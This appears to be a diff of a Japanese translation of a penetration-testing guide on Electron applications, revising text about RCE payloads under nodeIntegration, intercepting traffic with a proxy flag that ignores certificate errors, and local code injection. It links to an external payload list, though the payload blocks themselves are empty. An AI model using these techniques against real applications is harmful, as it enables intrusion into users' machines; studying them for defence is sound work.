Example of configuration:
```javascript
@@ -71,7 +71,7 @@ spellcheck: true,
},
}
```
-以下は [here](https://7as.es/electron/nodeIntegration_rce.txt) からのいくつかの **RCE payloads**:
+以下は [here](https://7as.es/electron/nodeIntegration_rce.txt) からの **RCE payloads**:
```html
Example Payloads (Windows):
```
### トラフィックをキャプチャ
-start-main の設定を変更し、次のような proxy の使用を追加します:
+start-main の設定を変更し、例えば次のような proxy を使用するように追加します:
```javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
```
## Electron Local Code Injection
-もしローカルで Electron App を実行できるなら、任意の javascript コードを実行させることが可能な場合があります。詳しくは次を確認してください:
+Electron Appをローカルで実行できる場合、任意のjavascriptコードを実行させることが可能です。方法は以下を参照してください:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
@@ -111,7 +111,7 @@ start-main の設定を変更し、次のような proxy の使用を追加し
## RCE: XSS + nodeIntegration
-If the **nodeIntegration** is set to **on**, a web page's JavaScript can use Node.js features easily just by calling the `require()`. For example, the way to execute the calc application on Windows is:
+もし**nodeIntegration**が**on**に設定されていると、ウェブページのJavaScriptは`require()`を呼ぶだけで簡単にNode.jsの機能を利用できます。例えば、Windowsでcalcアプリケーションを実行する方法は次の通りです:
```html